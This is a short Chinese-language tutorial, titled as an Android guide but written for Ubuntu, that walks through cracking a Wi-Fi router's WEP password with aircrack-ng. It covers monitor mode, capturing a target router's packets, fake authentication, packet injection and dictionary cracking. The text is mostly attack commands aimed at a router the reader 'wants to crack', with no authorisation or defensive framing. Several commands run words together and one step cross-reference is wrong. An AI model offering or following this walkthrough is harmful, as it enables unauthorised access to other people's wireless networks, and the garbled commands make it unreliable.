安卓教程：教你破解無線密碼

安卓教程：教你破解無線密碼

用的是ubuntu系統，沒用linux系統的至少要在WIN裡面安裝ubuntu。1、安裝aircrack-ng在終端中輸入 sudo apt-getinstall aircrack-ng

2 、啟動無線網卡的監控模式，在終端中輸入：sudo airmon-ngstart wlan0

3 、看看有哪些無線路由在工作，在終端中輸入：sudo airodump-ngmon0

然後按 ctrl+c 退出，保留終端。

4 、抓包，另開一個終端，輸入：sudo airodump-ng -c 6--bssid 11:22:33:44:55:66 -w wep mon0

(-c 後面跟著的6是要破解的路由器的工作頻道，--bissid後面跟著的11:22:33:44:55:66是欲破解無線路由的MAC地址，-w後面跟著的是抓下來的數據包的文件名，在步驟2可以查看正在工作的無線路由的頻道和MAC地址，保存的文件名可隨便命名)

5 、注入破解的話要與目標路由器建立虛擬連接，再另開一個終端，輸入：

sudo aireplay-ng -1 0 -a 11:22:33:44:55:66 -haa:bb:cc:dd:ee:ff mon0

(-h後面跟著的aa:bb:cc:dd:ee:ff 是自己的無線網卡的MAC地址)，如果不知道可以在終端輸入ifconfig 查看。

6 、成功建立虛擬連接後輸入：

sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b11:22:33:44:55:66 -h aa:bb:cc:dd:ee:ff mon0

進行注入，注入破解是為了加快抓包的速度。

7 、收集15000(用Bt4破解時的收集數據的個數)個以上的數據之後，另開一個

終端，輸入：sudo aircrack-ng wep*.cap ，進行解密。注意這裡命令的文件名要和步驟4一致。

Please specify a dictionary (option -w).這是提示找不到字典

再輸入aircrack-ng –w 字典 wep-01.cap開始破解

8、破解出密碼後在終端中輸入 sudo airmon-ng stopmon0 關閉監控模式，不然無線網卡會一直向剛剛的無線路由進行注入

注意aircrack-ng裡不帶字典，需要將bt6裡的字典或者自己生成的字典放到ubuntu的主文件夾中格式為xxx.txt